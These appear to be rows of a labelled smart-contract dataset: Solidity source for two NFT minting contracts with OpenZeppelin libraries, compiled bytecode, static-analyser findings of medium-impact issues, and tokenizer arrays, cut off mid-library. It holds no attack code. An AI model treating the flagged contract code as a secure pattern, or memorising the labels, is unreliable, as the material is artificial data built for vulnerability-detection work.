whitelistMerkleRoot = incoming; } modifier onlySender { _onlySender(); _; } modifier inWLPhase { require(WLOpen == true); _; } modifier inPublicPhase { require(WLOpen == false); _; } function flipSale() public onlyOwner { WLOpen = false; } function teamMint() public onlyOwner nonReentrant { _safeMint(msg.sender, 20); } function whitelistMint(bytes32[] calldata _merkleProof, uint256 amount) public payable nonReentrant onlySender inWLPhase { require(msg.value >= mintPrice, "Minting a Panther Costs 0.12 Ether Each!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, whitelistMerkleRoot, leaf), "Invalid proof."); require( MintedAmount[msg.sender] + amount <= maxMintPerWalletPre, "Minting amount exceeds allowance per wallet" ); MintedAmount[msg.sender] += amount; require((totalSupply() + amount) <= collectionSize, "Sold out!"); _safeMint(msg.sender, amount); } function publicMint(uint256 amount) public payable nonReentrant onlySender inPublicPhase { require(msg.value >= mintPublicPrice, "Minting a Panther Costs 0.15 Ether Each!"); require( MintedAmountPublic[msg.sender] + amount <= maxMintPerWalletPublic, "Minting amount exceeds allowance per wallet" ); MintedAmountPublic[msg.sender] += amount; require((totalSupply() + amount) <= collectionSize, "Sold out!"); _safeMint(msg.sender, amount); } function withdrawEther() external onlyOwner { (bool hs, ) = payable(0xDFfF0915a584D29d3bf1b7D4783698ED2a3ED403).call{value: (address(this).balance * 500 / 10000)}(""); require(hs); (bool os, ) = payable(msg.sender).call{value: address(this).balance}(""); require(os); } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } function walletOfOwner(address address_) public virtual view returns (uint256[] memory) { uint256 _balance = balanceOf(address_); uint256[] memory _tokens = new uint256[] (_balance); uint256 _index; uint256 _loopThrough = totalSupply(); for (uint256 i = 0; i < _loopThrough; i++) { bool _exists = _exists(i); if (_exists) { if (ownerOf(i) == address_) { _tokens[_index] = i; _index++; } } else if (!_exists && _tokens[_balance - 1] == 0) { _loopThrough++; } } return _tokens; } }
0x6080604052600436106102255760003560e01c80636c0360eb11610123578063a79d6f30116100ab578063d7224ba01161006f578063d7224ba014610614578063e1fcd7071461062a578063e985e9c514610640578063f2fde38b14610689578063f6c26d18146106a957600080fd5b8063a79d6f301461058a578063b88d4fde146105aa578063ba7a86b8146105ca578063c6682862146105df578063c87b56dd146105f457600080fd5b806379aa0a9a116100f257806379aa0a9a146105085780637ba5e621146105225780638da5cb5b1461053757806395d89b4114610555578063a22cb4651461056a57600080fd5b80636c0360eb146104a957806370a08231146104be578063715018a6146104de5780637362377b146104f357600080fd5b806342842e0e116101b157806355f804b31161017557806355f804b3146104105780636352211e146104305780636817c76c1461045057806368b9263a146104665780636a100ec41461049357600080fd5b806342842e0e14610360578063438b63001461038057806345c0f533146103ad57806347ed50ae146103c35780634f6ccce7146103f057600080fd5b806318160ddd116101f857806318160ddd146102db57806323b872dd146102fa5780632904e6d91461031a5780632db115441461032d5780632f745c591461034057600080fd5b806301ffc9a71461022a57806306fdde031461025f578063081812fc14610281578063095ea7b3146102b9575b600080fd5b34801561023657600080fd5b5061024a6102453660046124bb565b6106bf565b60405190151581526020015b60405180910390f35b34801561026b57600080fd5b5061027461072c565b60405161025691906126af565b34801561028d57600080fd5b506102a161029c3660046124a2565b6107be565b6040516001600160a01b039091168152602001610256565b3480156102c557600080fd5b506102d96102d43660046123fd565b61084e565b005b3480156102e757600080fd5b506000545b604051908152602001610256565b34801561030657600080fd5b506102d9610315366004612309565b610966565b6102d9610328366004612427565b610971565b6102d961033b3660046124a2565b610b95565b34801561034c57600080fd5b506102ec61035b3660046123fd565b610cfb565b34801561036c57600080fd5b506102d961037b366004612309565b610e69565b34801561038c57600080fd5b506103a061039b3660046122bb565b610e84565b604051610256919061266b565b3480156103b957600080fd5b506102ec600e5481565b3480156103cf57600080fd5b506102ec6103de3660046122bb565b60146020526000908152604090205481565b3480156103fc57600080fd5b506102ec61040b3660046124a2565b610fbd565b34801561041c57600080fd5b506102d961042b3660046124f5565b61101f565b34801561043c57600080fd5b506102a161044b3660046124a2565b611060565b34801561045c57600080fd5b506102ec600c5481565b34801561047257600080fd5b506102ec6104813660046122bb565b60136020526000908152604090205481565b34801561049f57600080fd5b506102ec600f5481565b3480156104b557600080fd5b50610274611072565b3480156104ca57600080fd5b506102ec6104d93660046122bb565b611100565b3480156104ea57600080fd5b506102d9611191565b3480156104ff57600080fd5b506102d96111c7565b34801561051457600080fd5b5060115461024a9060ff1681565b34801561052e57600080fd5b506102d96112c5565b34801561054357600080fd5b506008546001600160a01b03166102a1565b34801561056157600080fd5b506102746112fb565b34801561057657600080fd5b506102d96105853660046123c1565b61130a565b34801561059657600080fd5b506102d96105a53660046124a2565b6113cf565b3480156105b657600080fd5b506102d96105c5366004612345565b6113fe565b3480156105d657600080fd5b506102d9611437565b3480156105eb57600080fd5b5061027461149b565b34801561060057600080fd5b5061027461060f3660046124a2565b6114a8565b34801561062057600080fd5b506102ec60075481565b34801561063657600080fd5b506102ec60105481565b34801561064c57600080fd5b5061024a61065b3660046122d6565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561069557600080fd5b506102d96106a43660046122bb565b611578565b3480156106b557600080fd5b506102ec600d5481565b60006001600160e01b031982166380ac58cd60e01b14806106f057506001600160e01b03198216635b5e139f60e01b145b8061070b57506001600160e01b0319821663780e9d6360e01b145b8061072657506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606001805461073b906128c4565b80601f0160208091040260200160405190810160405280929190818152602001828054610767906128c4565b80156107b45780601f10610789576101008083540402835291602001916107b4565b820191906000526020600020905b81548152906001019060200180831161079757829003601f168201915b5050505050905090565b60006107cb826000541190565b6108325760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061085982611060565b9050806001600160a01b0316836001600160a01b031614156108c85760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b6064820152608401610829565b336001600160a01b03821614806108e457506108e4813361065b565b6109565760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c000000000000006064820152608401610829565b610961838383611613565b505050565b61096183838361166f565b600260095414156109945760405162461bcd60e51b815260040161082990612795565b60026009556109a16119f7565b60115460ff1615156001146109b557600080fd5b600c54341015610a185760405162461bcd60e51b815260206004820152602860248201527f4d696e74696e6720612050616e7468657220436f73747320302e313220457468604482015267657220456163682160c01b6064820152608401610829565b6040516bffffffffffffffffffffffff193360601b166020820152600090603401604051602081830303815290604052805190602001209050610a92848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506012549150849050611a03565b610acf5760405162461bcd60e51b815260206004820152600e60248201526d24b73b30b634b210383937b7b31760911b6044820152606401610829565b600f5433600090815260136020526040902054610aed9084906127f7565b1115610b0b5760405162461bcd60e51b8152600401610829906126c2565b3360009081526013602052604081208054849290610b2a9084906127f7565b9091555050600e5482610b3c60005490565b610b4691906127f7565b1115610b805760405162461bcd60e51b8152602060048201526009602482015268536f6c64206f75742160b81b6044820152606401610829565b610b8a3383611a19565b505060016009555050565b60026009541415610bb85760405162461bcd60e51b815260040161082990612795565b6002600955610bc56119f7565b60115460ff1615610bd557600080fd5b600d54341015610c385760405162461bcd60e51b815260206004820152602860248201527f4d696e74696e6720612050616e7468657220436f73747320302e313520457468604482015267657220456163682160c01b6064820152608401610829565b60105433600090815260146020526040902054610c569083906127f7565b1115610c745760405162461bcd60e51b8152600401610829906126c2565b3360009081526014602052604081208054839290610c939084906127f7565b9091555050600e5481610ca560005490565b610caf91906127f7565b1115610ce95760405162461bcd60e51b8152602060048201526009602482015268536f6c64206f75742160b81b6044820152606401610829565b610cf33382611a19565b506001600955565b6000610d0683611100565b8210610d5f5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b6064820152608401610829565b600080549080805b83811015610e09576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215610dba57805192505b876001600160a01b0316836001600160a01b03161415610df65786841415610de85750935061072692505050565b83610df2816128ff565b9450505b5080610e01816128ff565b915050610d67565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b6064820152608401610829565b610961838383604051806020016040528060008152506113fe565b60606000610e9183611100565b905060008167ffffffffffffffff811115610eae57610eae612970565b604051908082528060200260200182016040528015610ed7578160200160208202803683370190505b509050600080610ee660005490565b905060005b81811015610fb2576000610f00826000541190565b90508015610f5b57876001600160a01b0316610f1b83611060565b6001600160a01b03161415610f565781858581518110610f3d57610f3d61295a565b602090810291909101015283610f52816128ff565b9450505b610f9f565b80158015610f8c575084610f7060018861286a565b81518110610f8057610f8061295a565b60200260200101516000145b15610f9f5782610f9b816128ff565b9350505b5080610faa816128ff565b915050610eeb565b509195945050505050565b60008054821061101b5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b6064820152608401610829565b5090565b6008546001600160a01b031633146110495760405162461bcd60e51b81526004016108299061270d565b805161105c90600a906020840190612199565b5050565b600061106b82611a33565b5192915050565b600a805461107f906128c4565b80601f01602080910402602001604051908101604052809291908181526020018280546110ab906128c4565b80156110f85780601f106110cd576101008083540402835291602001916110f8565b820191906000526020600020905b8154815290600101906020018083116110db57829003601f168201915b505050505081565b60006001600160a01b03821661116c5760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b6064820152608401610829565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b6008546001600160a01b031633146111bb5760405162461bcd60e51b81526004016108299061270d565b6111c56000611bdd565b565b6008546001600160a01b031633146111f15760405162461bcd60e51b81526004016108299061270d565b600073dfff0915a584d29d3bf1b7d4783698ed2a3ed403612710611217476101f4612823565b611221919061280f565b604051600081818185875af1925050503d806000811461125d576040519150601f19603f3d011682016040523d82523d6000602084013e611262565b606091505b505090508061127057600080fd5b604051600090339047908381818185875af1925050503d80600081146112b2576040519150601f19603f3d011682016040523d82523d6000602084013e6112b7565b606091505b505090508061105c57600080fd5b6008546001600160a01b031633146112ef5760405162461bcd60e51b81526004016108299061270d565b6011805460ff19169055565b60606002805461073b906128c4565b6001600160a01b0382163314156113635760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c65720000000000006044820152606401610829565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6008546001600160a01b031633146113f95760405162461bcd60e51b81526004016108299061270d565b601255565b61140984848461166f565b61141584848484611c2f565b6114315760405162461bcd60e51b815260040161082990612742565b50505050565b6008546001600160a01b031633146114615760405162461bcd60e51b81526004016108299061270d565b600260095414156114845760405162461bcd60e51b815260040161082990612795565b6002600955611494336014611a19565b6001600955565b600b805461107f906128c4565b60606114b5826000541190565b6115195760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610829565b6000611523611d3d565b905060008151116115435760405180602001604052806000815250611571565b8061154d84611d4c565b600b6040516020016115619392919061256a565b6040516020818303038152906040525b9392505050565b6008546001600160a01b031633146115a25760405162461bcd60e51b81526004016108299061270d565b6001600160a01b0381166116075760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610829565b61161081611bdd565b50565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061167a82611a33565b80519091506000906001600160a01b0316336001600160a01b031614806116b15750336116a6846107be565b6001600160a01b0316145b806116c3575081516116c3903361065b565b90508061172d5760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b6064820152608401610829565b846001600160a01b031682600001516001600160a01b0316146117a15760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b6064820152608401610829565b6001600160a01b0384166118055760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610829565b6118156000848460000151611613565b6001600160a01b03851660009081526004602052604081208054600192906118479084906001600160801b0316612842565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b03861660009081526004602052604081208054600194509092611893918591166127cc565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b03808716825267ffffffffffffffff428116602080850191825260008981526003909152948520935184549151909216600160a01b026001600160e01b0319909116919092161717905561191b8460016127f7565b6000818152600360205260409020549091506001600160a01b03166119ad57611945816000541190565b156119ad5760408051808201825284516001600160a01b03908116825260208087015167ffffffffffffffff9081168285019081526000878152600390935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b505050505050565b3332146111c557600080fd5b600082611a108584611e4a565b14949350505050565b61105c828260405180602001604052806000815250611ebe565b6040805180820190915260008082526020820152611a52826000541190565b611ab15760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b6064820152608401610829565b60007f00000000000000000000000000000000000000000000000000000000000000148310611b1257611b047f00000000000000000000000000000000000000000000000000000000000000148461286a565b611b0f9060016127f7565b90505b825b818110611b7c576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215611b6957949350505050565b5080611b74816128ad565b915050611b14565b5060405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201526e1037bbb732b91037b3103a37b5b2b760891b6064820152608401610829565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006001600160a01b0384163b15611d3157604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611c7390339089908890889060040161262e565b602060405180830381600087803b158015611c8d57600080fd5b505af1925050508015611cbd575060408051601f3d908101601f19168201909252611cba918101906124d8565b60015b611d17573d808015611ceb576040519150601f19603f3d011682016040523d82523d6000602084013e611cf0565b606091505b508051611d0f5760405162461bcd60e51b815260040161082990612742565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611d35565b5060015b949350505050565b6060600a805461073b906128c4565b606081611d705750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611d9a5780611d84816128ff565b9150611d939050600a8361280f565b9150611d74565b60008167ffffffffffffffff811115611db557611db5612970565b6040519080825280601f01601f191660200182016040528015611ddf576020820181803683370190505b5090505b8415611d3557611df460018361286a565b9150611e01600a8661291a565b611e0c9060306127f7565b60f81b818381518110611e2157611e2161295a565b60200101906001600160f81b031916908160001a905350611e43600a8661280f565b9450611de3565b600081815b8451811015611eb6576000858281518110611e6c57611e6c61295a565b60200260200101519050808311611e925760008381526020829052604090209250611ea3565b600081815260208490526040902092505b5080611eae816128ff565b915050611e4f565b509392505050565b6000546001600160a01b038416611f215760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610829565b611f2c816000541190565b15611f795760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e7465640000006044820152606401610829565b7f0000000000000000000000000000000000000000000000000000000000000014831115611ff45760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b6064820152608401610829565b6001600160a01b0384166000908152600460209081526040918290208251808401845290546001600160801b038082168352600160801b90910416918101919091528151808301909252805190919081906120509087906127cc565b6001600160801b0316815260200185836020015161206e91906127cc565b6001600160801b039081169091526001600160a01b0380881660008181526004602090815260408083208751978301518716600160801b0297909616969096179094558451808601865291825267ffffffffffffffff4281168386019081528883526003909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b8581101561218e5760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46121526000888488611c2f565b61216e5760405162461bcd60e51b815260040161082990612742565b81612178816128ff565b9250508080612186906128ff565b915050612105565b5060008190556119ef565b8280546121a5906128c4565b90600052602060002090601f0160209004810192826121c7576000855561220d565b82601f106121e057805160ff191683800117855561220d565b8280016001018555821561220d579182015b8281111561220d5782518255916020019190600101906121f2565b5061101b9291505b8082111561101b5760008155600101612215565b600067ffffffffffffffff8084111561224457612244612970565b604051601f8501601f19908116603f0116810190828211818310171561226c5761226c612970565b8160405280935085815286868601111561228557600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146122b657600080fd5b919050565b6000602082840312156122cd57600080fd5b6115718261229f565b600080604083850312156122e957600080fd5b6122f28361229f565b91506123006020840161229f565b90509250929050565b60008060006060848603121561231e57600080fd5b6123278461229f565b92506123356020850161229f565b9150604084013590509250925092565b6000806000806080858703121561235b57600080fd5b6123648561229f565b93506123726020860161229f565b925060408501359150606085013567ffffffffffffffff81111561239557600080fd5b8501601f810187136123a657600080fd5b6123b587823560208401612229565b91505092959194509250565b600080604083850312156123d457600080fd5b6123dd8361229f565b9150602083013580151581146123f257600080fd5b809150509250929050565b6000806040838503121561241057600080fd5b6124198361229f565b946020939093013593505050565b60008060006040848603121561243c57600080fd5b833567ffffffffffffffff8082111561245457600080fd5b818601915086601f83011261246857600080fd5b81358181111561247757600080fd5b8760208260051b850101111561248c57600080fd5b6020928301989097509590910135949350505050565b6000602082840312156124b457600080fd5b5035919050565b6000602082840312156124cd57600080fd5b813561157181612986565b6000602082840312156124ea57600080fd5b815161157181612986565b60006020828403121561250757600080fd5b813567ffffffffffffffff81111561251e57600080fd5b8201601f8101841361252f57600080fd5b611d3584823560208401612229565b60008151808452612556816020860160208601612881565b601f01601f19169290920160200192915050565b60008451602061257d8285838a01612881565b8551918401916125908184848a01612881565b8554920191600090600181811c90808316806125ad57607f831692505b8583108114156125cb57634e487b7160e01b85526022600452602485fd5b8080156125df57600181146125f05761261d565b60ff1985168852838801955061261d565b60008b81526020902060005b858110156126155781548a8201529084019088016125fc565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906126619083018461253e565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156126a357835183529284019291840191600101612687565b50909695505050505050565b602081526000611571602083018461253e565b6020808252602b908201527f4d696e74696e6720616d6f756e74206578636565647320616c6c6f77616e636560408201526a081c195c881dd85b1b195d60aa1b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60006001600160801b038083168185168083038211156127ee576127ee61292e565b01949350505050565b6000821982111561280a5761280a61292e565b500190565b60008261281e5761281e612944565b500490565b600081600019048311821515161561283d5761283d61292e565b500290565b60006001600160801b03838116908316818110156128625761286261292e565b039392505050565b60008282101561287c5761287c61292e565b500390565b60005b8381101561289c578181015183820152602001612884565b838111156114315750506000910152565b6000816128bc576128bc61292e565b506000190190565b600181811c908216806128d857607f821691505b602082108114156128f957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156129135761291361292e565b5060010190565b60008261292957612929612944565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461161057600080fdfea2646970667358221220b5268820f4411c3116bd2c7cea0fae8196003133f761b2dccd981f4405b83a9264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2509, 2063, 2487, 9468, 2581, 14141, 17788, 2692, 3676, 2497, 2575, 16147, 2487, 2278, 28756, 29097, 2683, 2629, 2050, 2620, 10790, 2546, 2581, 23352, 26187, 8889, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1006, 2197, 7172, 1058, 2549, 1012, 1019, 1012, 1014, 1007, 1006, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2122, 4972, 3066, 2007, 22616, 1997, 21442, 19099, 3628, 6947, 2015, 1012, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,174
0x9654473254c8150B3d5C1984dd1eb4978fC3C2a5
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; contract WenWLRuby is ERC1155Supply, Ownable{ uint256 public constant RUBY_SUPPLY = 555; uint256 public constant RUBY = 0; uint256 public RUBY_PRICE = 0.25 ether; uint256 public constant RUBY_FOR_TEAM = 51; uint256 public constant RUBY_LIMIT = 1; //Create Setters for status bool public RUBY_IS_ACTIVE = false; bool public RUBYPUBLIC_IS_ACTIVE = false; //Make setters for the RUBY bytes32 rubyRoot; mapping(address => uint256) addressBlockBought; mapping (address => uint256) public mintedRuby; mapping (address => uint256) public mintedPublicRuby; string private _baseUri; address public constant ADDRESS_2 = 0xc9b5553910bA47719e0202fF9F617B8BE06b3A09; //ROYAL LABS address public constant ADDRESS_1 = 0x8975b2c67Cffc4498D927B0B18C7c9030512672B; // WENWL TEAM address signer; constructor() ERC1155("https://rl.mypinata.cloud/ipfs/QmdjBkKwrHYsW3gJpw2Wzwqssuad8zocNgL1fkeZz5GJx1/") {} modifier isSecured(uint8 mintType) { require(addressBlockBought[msg.sender] < block.timestamp, "CANNOT_MINT_ON_THE_SAME_BLOCK"); require(tx.origin == msg.sender,"CONTRACTS_NOT_ALLOWED_TO_MINT"); if(mintType == 1) { require(RUBY_IS_ACTIVE, "RUBY_MINT_IS_NOT_YET_ACTIVE"); } if(mintType == 2) { require(RUBYPUBLIC_IS_ACTIVE, "RUBY_PUBLIC_MINT_IS_NOT_YET_ACTIVE"); } _; } function uri(uint256 _id) public view virtual override returns (string memory) { return string(abi.encodePacked(_baseUri, Strings.toString(_id))); } // Ruby Mint Function WL function mintRuby(bytes32[] memory proof) external isSecured(1) payable{ bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, rubyRoot, leaf),"PROOF_INVALID"); require(1 + totalSupply(RUBY) <= RUBY_SUPPLY,"NOT_ENOUGH_PRESALE_SUPPLY"); require(mintedRuby[msg.sender] + 1 <= RUBY_LIMIT,"MINTED_RUBY_ALREADY"); require(msg.value == RUBY_PRICE , "WRONG_ETH_VALUE"); addressBlockBought[msg.sender] = block.timestamp; mintedRuby[msg.sender] += 1; _mint(msg.sender, RUBY, 1, ""); } // Ruby Mint Function Public function mintRubyPublic(uint64 expireTime, bytes memory sig) external isSecured(2) payable{ bytes32 digest = keccak256(abi.encodePacked(msg.sender,expireTime)); require(isAuthorized(sig,digest),"CONTRACT_MINT_NOT_ALLOWED"); require(1 + totalSupply(RUBY) <= RUBY_SUPPLY,"NOT_ENOUGH_PRESALE_SUPPLY"); require(mintedPublicRuby[msg.sender] + 1 <= RUBY_LIMIT,"MINTED_RUBY_ALREADY"); require(msg.value == RUBY_PRICE , "WRONG_ETH_VALUE"); addressBlockBought[msg.sender] = block.timestamp; mintedPublicRuby[msg.sender] += 1; _mint(msg.sender, RUBY, 1, ""); } // Ruby Mint to owner's wallet for giveaway function mintRubyForTeam() external onlyOwner { require(totalSupply(RUBY) <= RUBY_SUPPLY,"EXCEED_MINT_LIMIT"); require(totalSupply(RUBY) <= RUBY_FOR_TEAM,"EXCEED_MINT_LIMIT"); _mint(msg.sender, RUBY, RUBY_FOR_TEAM, ""); } // Base URI function setBaseURI(string calldata URI) external onlyOwner { _baseUri = URI; } // Ruby's WL status function setRubyWLSaleStatus() external onlyOwner { RUBY_IS_ACTIVE = !RUBY_IS_ACTIVE; } // Ruby PUblic Sale Status function setRubyPublicSaleStatus() external onlyOwner { RUBYPUBLIC_IS_ACTIVE = !RUBYPUBLIC_IS_ACTIVE; } function setPresaleRoot(bytes32 _rubyRoot) external onlyOwner { rubyRoot = _rubyRoot; } function setSigner(address _signer) external onlyOwner{ signer = _signer; } function setRubyPrice(uint256 _rubyPrice) external onlyOwner { RUBY_PRICE = _rubyPrice; } function isAuthorized(bytes memory sig,bytes32 digest) private view returns (bool) { return ECDSA.recover(digest, sig) == signer; } //Essential function withdraw() external onlyOwner { uint256 balance = address(this).balance; require(balance > 0, "No balance to withdraw"); payable(ADDRESS_2).transfer((balance * 1500) / 10000); payable(ADDRESS_1).transfer(address(this).balance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of 